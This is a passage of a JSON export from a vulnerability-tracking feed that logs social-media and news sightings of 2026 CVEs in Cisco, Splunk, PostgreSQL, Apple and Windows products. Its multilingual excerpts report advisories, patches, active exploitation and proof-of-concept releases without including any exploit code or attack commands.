"2026-05-19T21:13:28.193683Z"}, {"uuid": "390c2cda-724c-4337-869d-2b9321ca74f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20034", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mmacmzpaqs22", "content": "Cisco\u304c\u30a8\u30f3\u30bf\u30fc\u30d7\u30e9\u30a4\u30ba\u88fd\u54c1\u306b\u304a\u3051\u308b\u91cd\u5927\u5ea6\u306e\u9ad8\u3044\u8106\u5f31\u6027\u3092\u4fee\u6b63\n\nCisco\u306f\u6c34\u66dc\u65e5\u306b\u3001\u30a8\u30f3\u30bf\u30fc\u30d7\u30e9\u30a4\u30ba\u88fd\u54c1\u5168\u4f53\u306b\u308f\u305f\u308b\u8907\u6570\u306e\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u30d1\u30c3\u30c1\u3092\u767a\u8868\u3057\u3001\u305d\u306e\u4e2d\u306b\u306f5\u3064\u306e\u9ad8\u91cd\u5927\u30d0\u30b0\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\n\nCVE-2026-20034 \u304a\u3088\u3073 CVE-2026-20035 \u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u305f\u3001\u30b5\u30fc\u30d0\u30fc\u5074\u30ea\u30af\u30a8\u30b9\u30c8\u30d5\u30a9\u30fc\u30b8\u30a7\u30ea\uff08SSRF\uff09\u653b\u6483\u306b\u3064\u306a\u304c\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b 2 \u3064\u306e\u91cd\u5927\u5ea6\u306e\u9ad8\u3044\u554f\u984c\u304c\u3001Cisco Unity Connection \u3067\u89e3\u6c7a\u3055\u308c\u307e\u3057\u305f\u3002\n\n\u30e6\u30fc\u30b6\u30fc\u63d0\u4f9b\u306e\u5165\u529b\u3084\u7279\u5b9a\u306e HTTP \u30ea\u30af\u30a8\u30b9\u30c8\u306e\u691c\u8a3c\u304c\u4e0d\u5341\u5206\u3067\u3042\u308b\u3053\u3068\u306b\u8d77\u56e0\u3057\u3001\u305d\u306e\u6b20\u9665\u306f\u30ea\u30e2\u30fc\u30c8\u306e\u8a8d\u8a3c\u3055\u308c\u305f\u653b\u6483\u8005\u306b\u3088\u3063\u3066\u60aa\u7528\u3055\u308c\u2026", "creation_timestamp": "2026-05-19T21:13:28.045916Z"}, {"uuid": "9f66d0f3-243e-47bc-90a3-66f6ba49b81e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20182", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mmaimfscmu2w", "content": "\ud83d\udce2 Cisco SD-WAN : vuln\u00e9rabilit\u00e9 critique CVE-2026-20182 exploit\u00e9e en zero-day, patch d'urgence requis\n\ud83d\udcdd ## \ud83d\uddd3\ufe0f Contexte\n\nSource : The Register\u2026\nhttps://cyberveille.ch/posts/2026-05-19-cisco-sd-wan-vulnerabilite-critique-cve-2026-20182-exploitee-en-zero-day-patch-d-urgence-requis/ #CISA_KEV #Cyberveille", "creation_timestamp": "2026-05-19T23:00:22.399356Z"}, {"uuid": "63b56e58-d343-4cb5-a6c9-c8167ae23822", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mmazfgp6zt25", "content": "\u6982\u5ff5\u5b9f\u8a3c\uff08PoC\uff09\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u304c\u516c\u958b\u3055\u308c\u307e\u3057\u305f\uff1a20\u5e74\u524d\u306ePostgreSQL pgcrypto\u306e\u8106\u5f31\u6027\uff08CVE-2026-2005\uff09\u306b\u3088\u308a\u3001\u5b8c\u5168\u306a\u30b9\u30fc\u30d1\u30fc\u30e6\u30fc\u30b6\u30fc\u6a29\u9650 \n\nPoC Exploit Publicly Disclosed: 20-Year-Old PostgreSQL pgcrypto Flaw (CVE-2026-2005) Grants Full Superuser RCE  #DailyCyberSecurity (May 19)\n\nsecurityonline.info/postgresql-p...", "creation_timestamp": "2026-05-20T04:00:41.562476Z"}, {"uuid": "8c7ac1a6-164a-4ac9-ae08-341f568e4d17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mmb36uh32a62", "content": "PoC Exploit Released for 20-Year Old PostgreSQL RCE Vulnerability A proof-of-concept (PoC) exploit has been publicly released for CVE-2026-2005, a critical remote code execution (RCE) vulnerability...\n\n#Cyber #Security #News #Vulnerability #News #cyber [\u2026] \n\n[Original post on cybersecuritynews.com]", "creation_timestamp": "2026-05-20T04:32:52.299886Z"}, {"uuid": "d1e83187-f5f2-4c23-9fec-386a56c9b0e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2020", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96361", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #SSRF #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-2020-SSRF-via-URL-Parser-Differential\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a George0Papasotiriou\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-03 01:43:43\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-04T00:00:52.796556Z"}, {"uuid": "1bd37312-cc78-4ad0-8915-14efdf3bac0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2005", "type": "seen", "source": "https://bsky.app/profile/PostgreSQL.activitypub.awakari.com.ap.brid.gy/post/3mmbtxkddxkn2", "content": "PostgreSQL: PoC Exploit Released for 20-Year Old PostgreSQL RCE Vulnerability Critical PostgreSQL RCE Exploit (CVE-2026-2005) Demonstrated in Public PoC A proof-of-concept (PoC) exploit for CVE-202...\n\n#cyber #Vulnerability\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-20T11:56:13.524894Z"}, {"uuid": "1d5755bd-39d6-4855-bf35-bd0269c7b442", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20224", "type": "seen", "source": "https://t.me/bdufstecru/3176", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0442\u044c\u044e Cisco Catalyst SD-WAN Manager \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432\n\nBDU:2026-07003\nCVE-2026-20224\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW", "creation_timestamp": "2026-05-20T14:44:27.000000Z"}, {"uuid": "4a08b66d-5bc9-4869-a737-601059dd0968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://t.me/CyberDispatch/726", "content": "Apple shipped emergency updates after confirming exploitation of a zero-day in dyld.\n\nThe bug (CVE-2026-20700) could allow attackers to execute arbitrary code on vulnerable Apple devices.", "creation_timestamp": "2026-08-29T20:00:21.708443Z"}, {"uuid": "16049b51-8de0-4f54-936c-ea30afdc0722", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20171", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmckxnd7wn2h", "content": "CVE-2026-20171 - Cisco Nexus 3000 and 9000 Series Border Gateway Protocol Denial of Service Vulnerability\nCVE ID : CVE-2026-20171\n \n Published : May 20, 2026, 5:16 p.m. | 59\u00a0minutes ago\n \n Description : A vulnerability in the Border Gateway Protocol (BGP)\u00a0enforce-first-as feat...", "creation_timestamp": "2026-05-20T18:47:45.616724Z"}, {"uuid": "e28db279-568a-4ca3-a5ea-b4c9cf616be4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmcl3ibztl2i", "content": "CVE-2026-20223 - Cisco Secure Workload Unauthorized API Access Vulnerability\nCVE ID : CVE-2026-20223\n \n Published : May 20, 2026, 5:16 p.m. | 59\u00a0minutes ago\n \n Description : A vulnerability in the\u00a0access validation of internal REST APIs of Cisco Secure Workload could allow an ...", "creation_timestamp": "2026-05-20T18:49:54.483954Z"}, {"uuid": "b4705ab1-3dd9-4e8c-89d0-b68db469857c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20238", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmcle4nvvp2h", "content": "CVE-2026-20238 - Improper Access Control through Role Inheritance in Splunk AI Toolkit app\nCVE ID : CVE-2026-20238\n \n Published : May 20, 2026, 4:32 p.m. | 1\u00a0hour, 43\u00a0minutes ago\n \n Description : In Splunk AI Toolkit versions below 5.7.3, a low-privileged user that does not ho...", "creation_timestamp": "2026-05-20T18:54:44.310009Z"}, {"uuid": "cd2d8cb0-c8fc-46f4-94e5-35adb634bb1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20239", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmcliz4jmo2i", "content": "CVE-2026-20239 - Sensitive Information Disclosure through Log Files in Splunk Enterprise\nCVE ID : CVE-2026-20239\n \n Published : May 20, 2026, 4:32 p.m. | 1\u00a0hour, 43\u00a0minutes ago\n \n Description : In Splunk Enterprise versions below 10.2.2 and 10.0.5, and Splunk Cloud Platform ve...", "creation_timestamp": "2026-05-20T18:57:28.892116Z"}, {"uuid": "ccc2acb0-65f6-436b-aca2-188cb53efab2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20199", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmclofeilq2k", "content": "CVE-2026-20199 - Cisco ThousandEyes Virtual Appliance SSL Certificate Command Execution Vulnerability\nCVE ID : CVE-2026-20199\n \n Published : May 20, 2026, 5:16 p.m. | 59\u00a0minutes ago\n \n Description : A vulnerability in the SSL certificate handling of Cisco ThousandEyes Virtual ...", "creation_timestamp": "2026-05-20T19:00:28.828447Z"}, {"uuid": "60c7fbfb-a437-4f6b-a036-ea739896afd5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20239", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmclojfyjp2c", "content": "\ud83d\udfe0 CVE-2026-20239 - High (7.5)\n\nIn Splunk Enterprise versions below 10.2.2 and 10.0.5, and Splunk Cloud Platform versions below 1...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20239/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-20T19:00:34.288253Z"}, {"uuid": "d67d2ea4-131b-4b6d-b3f7-6d521b32f5bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmclqc6q6s2q", "content": "\ud83d\udd34 CVE-2026-20223 - Critical (10)\n\nA vulnerability in the access validation of internal REST APIs of Cisco Secure Workload coul...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-20223/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-20T19:01:34.025610Z"}, {"uuid": "b397037c-d154-42d5-900d-05e777917f76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20240", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmcn5mdbzy2i", "content": "CVE-2026-20240 - Denial of Service through coldToFrozen.sh Script in Splunk Enterprise\nCVE ID : CVE-2026-20240\n \n Published : May 20, 2026, 4:32 p.m. | 1\u00a0hour, 43\u00a0minutes ago\n \n Description : In Splunk Enterprise versions below 10.2.2, 10.0.5, 9.4.11, and 9.3.12, and Splunk Cl...", "creation_timestamp": "2026-05-20T19:26:53.413173Z"}, {"uuid": "d1f85a86-4f3d-40bf-88ee-34be482372ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20239", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mmcpbi66md2a", "content": "Splunk Enterprise/Cloud Platform\u3067`_internal`\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u3078\u306e\u30a2\u30af\u30bb\u30b9\u6a29\u9650\u3092\u6301\u3064\u30e6\u30fc\u30b6\u30fc\u304c\u3001\u30bb\u30c3\u30b7\u30e7\u30f3Cookie\u3084\u6a5f\u5bc6\u60c5\u5831\u3092\u542b\u3080\u30ec\u30b9\u30dd\u30f3\u30b9\u30dc\u30c7\u30a3\u3092\u95b2\u89a7\u3067\u304d\u2026\nCVE-2026-20239 CVSS 7.5 | HIGH", "creation_timestamp": "2026-05-20T20:04:50.890022Z"}, {"uuid": "e7f7a1e6-70ab-4e17-bce5-16ca1bb7b0a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mmdn43gylt2q", "content": "The latest update for #CyCognito includes \"Emerging Threat: (CVE-2026-42945) NGINX Rift Heap Overflow in Rewrite Module\" and \"Emerging Threat: (CVE-2026-20182) Cisco Catalyst SD-WAN Authentication Bypass\".\n \n#cybersecurity #AttackSurfaceManagement #EASM https://opsmtrs.com/44Srq0X", "creation_timestamp": "2026-05-21T05:00:51.986612Z"}, {"uuid": "20caa1ed-d7d7-4ed5-98d5-26bcf29728c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116611417761649110", "content": "Attention, elevated activities detected targeting Cisco Secure Workload (CVE-2026-20223) https://vuldb.com/vuln/364903/cti", "creation_timestamp": "2026-05-21T07:37:06.336239Z"}, {"uuid": "bd570d75-4f84-4b3b-8375-a7ccb9f0f32d", "vulnerability_lookup_origin": "cce329bf-df49-4c6e-a027-80be2e6483bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-20963", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3ee8b94d-e3a5-4b6b-af02-e4b82bc805c0", "content": "", "creation_timestamp": "2026-05-21T09:12:39.569474Z"}, {"uuid": "4d5edd89-cb0c-4fdd-86dd-b104744aead7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://t.me/hn_best_comments/28918", "content": "Re: Windows 11 Notepad to support Markdown\n\nI believe Markdown support is what led to CVE-2026-20841 earlier this month.\n\n20260211 https://news.ycombinator.com/item?id=46971516 Windows Notepad App Remote Code Execution Vulnerability (804 points, 516 comments)\n\n20260210 https://msrc.microsoft.com/update-guide/vulnerability/CVE-20...\n\n> \"An attacker could trick a user into clicking a malicious link inside a Markdown file opened in Notepad\"\n\nOther recent Notepad issues:\n\n20260207 https://news.ycombinator.com/item?id=46927098 Microsoft account bugs locked me out of Notepad \u2013 Are thin clients ruining PCs? (187 points, 284 comments)\n\n20260127 https://news.ycombinator.com/item?id=46780451 Windows 11 January Update Breaks Notepad (60 points, 25 comments)\n\npassword4321, 6 hours ago", "creation_timestamp": "2026-08-01T08:00:04.839437Z"}, {"uuid": "283225f0-dfcb-4571-a01e-105ef69e5079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/cesnet-certs.mastodonczech.cz.ap.brid.gy/post/3mmecdexws2k2", "content": "[[TLP:CLEAR] Cisco opravuje 9 zranitelnost\u00ed]\n\nCisco opravuje 9 zranitelnost\u00ed ve sv\u00fdch produktech. Nejz\u00e1va\u017en\u011bj\u0161\u00ed z nich jsou pops\u00e1ny n\u00ed\u017ee, zbyl\u00e9 naleznete na \u2b07\ufe0f. Zranitelnost CVE-2026-20182 byla na z\u00e1klad\u011b d\u016fkaz\u016f o aktivn\u00edm zneu\u017e\u00edv\u00e1n\u00ed za\u0159azena do katalogu zn\u00e1m\u00fdch zneu\u017e\u00edvan\u00fdch zranitelnost\u00ed (KEV) [\u2026]", "creation_timestamp": "2026-05-21T11:18:44.785942Z"}, {"uuid": "e834b36d-22b7-4647-911b-a2cf5da1fc4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/xc0py.bsky.social/post/3mmeed44dqk2g", "content": "CVE-2026-20182: Unauthenticated Cisco SD-WAN Control-Plane Compromise via vHub Authentication Bypass www.resecurity.com/blog/article...", "creation_timestamp": "2026-05-21T11:54:15.488279Z"}, {"uuid": "a94a92e4-0b67-4f1c-b0b2-803622e75521", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmefrmt5w42b", "content": "\ud83d\udd17 CVE : CVE-2026-20223", "creation_timestamp": "2026-05-21T12:20:14.578614Z"}, {"uuid": "8f22b68f-eff9-4664-9647-ac117a026f72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mmenjlfofv2i", "content": "Cisco fixed maximum severity flaw CVE-2026-20223 in Secure Workload", "creation_timestamp": "2026-05-21T14:38:54.500030Z"}, {"uuid": "a8e2a272-5e73-477a-a5b3-6ed138ce1fb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://t.me/ctinow/250661", "content": "Cisco fixed maximum severity flaw CVE-2026-20223 in Secure Workload\nhttps://ift.tt/7dcLWkZ", "creation_timestamp": "2026-05-21T14:19:30.000000Z"}, {"uuid": "810a8b4c-c6bb-4265-9cd2-d6984d94ec9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mmepkv6xpc2d", "content": "Cisco fixed CVE-2026-20223, a max-severity Secure Workload flaw that could let unauthenticated attackers gain Site Admin rights via crafted REST API requests and expose sensitive data across tenant boundaries. #Cisco #SecureWorkload #PSIRT", "creation_timestamp": "2026-05-21T15:15:26.564955Z"}, {"uuid": "1f39fcd4-6173-4f2a-a54e-e3d88a581e35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/htfgtps/1213", "content": "Serangan siber saat ini tidak hanya menargetkan website atau aplikasi web. Infrastruktur jaringan enterprise juga menjadi sasaran utama attacker. Salah satu teknologi yang kini menjadi target adalah Cisco Catalyst SD-WAN.\n\nPada Mei 2026, muncul laporan mengenai vulnerability kritis bernama CVE-2026-20182 yang menyerang sistem Cisco Catalyst SD-WAN Controller. Celah ini sangat berbahaya karena memungkinkan attacker mendapatkan akses administrator tanpa perlu login.\nhttps://buletinsiber.com/cisco-catalyst-sd-wan-diserang-hacker-vulnerability-cve-2026-20182-dieksploitasi-aktif/", "creation_timestamp": "2026-05-21T14:26:08.000000Z"}, {"uuid": "a02281be-e965-4e3f-9e08-5572caed11bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "Telegram/BqMHj1QXwEF44G9LIqA2WomO0Q-J2MUlPoadtUV01Wx3XOl6", "content": "", "creation_timestamp": "2026-05-21T14:20:05.000000Z"}, {"uuid": "fe05c66e-0a26-43c1-83fb-1bbffb4ae1cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3ms4kslkwaw2j", "content": "\ud83d\udce2 Cisco FMC : vuln\u00e9rabilit\u00e9 zero-day CVE-2026-20316 activement exploit\u00e9e et CVE-2026-20079 critique patch\u00e9e\n\n\ud83d\udcf0 Source : BleepingComputer, publi\u00e9 le 29 juillet 2026. Cisco \u00e9met une alerte concernant deux vuln\u00e9rabilit\u00e9s affectant son\u2026\n\n\ud83d\udfe1 v\u00e9rification factuelle moyenne\n#CiscoFMC #ZeroDay #Cyberveille", "creation_timestamp": "2026-08-02T18:00:07.369312Z"}, {"uuid": "c6ede8dd-43dd-46ec-9c42-f0582be7e8d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3ms4kslkwaw2j", "content": "\ud83d\udce2 Cisco FMC : vuln\u00e9rabilit\u00e9 zero-day CVE-2026-20316 activement exploit\u00e9e et CVE-2026-20079 critique patch\u00e9e\n\n\ud83d\udcf0 Source : BleepingComputer, publi\u00e9 le 29 juillet 2026. Cisco \u00e9met une alerte concernant deux vuln\u00e9rabilit\u00e9s affectant son\u2026\n\n\ud83d\udfe1 v\u00e9rification factuelle moyenne\n#CiscoFMC #ZeroDay #Cyberveille", "creation_timestamp": "2026-08-02T18:00:07.437621Z"}, {"uuid": "b1c32557-220c-4bcd-858e-76f6b6dde916", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3ms4kslvoym2b", "content": "\ud83d\udce2 CISA ajoute CVE-2026-20316 (Cisco FMC) \u00e0 son catalogue KEV \u2014 exploitation active confirm\u00e9e\n\nLe 30 juillet 2026, le site Security Affairs (Pierluigi Paganini) rapporte que la CISA (Cybersecurity and Infrastructure Security Agency)\u2026\n\n\ud83d\udfe1 v\u00e9rification factuelle moyenne\n#CiscoFMC #CISAKEV #Cyberveille", "creation_timestamp": "2026-08-02T18:00:08.165068Z"}, {"uuid": "c38f825f-ecb3-4571-9c9a-013ac66e2881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116614161165879206", "content": "\ud83d\udcf0 Cisco Scrambles to Patch Critical 10.0 CVSS Zero-Day in SD-WAN Under Active Attack\n\ud83d\udea8 CRITICAL ZERO-DAY: Cisco warns of active exploitation of a 10.0 CVSS auth bypass flaw (CVE-2026-20182) in Catalyst SD-WAN. Attackers can gain full admin access. CISA has issued a directive to patch immediately! \u26a0\ufe0f #CyberSecurity #ZeroDay #Cisco\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/cisco-warns-of-actively-exploited-zero-day-in-catalyst-sd-wan-cve-2026-201\u2026", "creation_timestamp": "2026-05-21T19:14:49.428034Z"}, {"uuid": "5156744d-7ca6-4a79-8f80-58d69ea4ab4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mmf4xqu3vy2x", "content": "\ud83d\udea8 CRITICAL ZERO-DAY: Cisco warns of active exploitation of a 10.0 CVSS auth bypass flaw (CVE-2026-20182) in Catalyst SD-WAN. Attackers can gain full admin access. CISA has issued a directive to patch immediately! \u26a0\ufe0f #CyberSecurity #ZeroDay #Cisco\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-05-21T19:15:44.232865Z"}, {"uuid": "9e778810-58ac-40a4-b711-2a9656b4b8e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20223", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mmfjo24l4u2o", "content": "Cisco disclosed a critical vulnerability 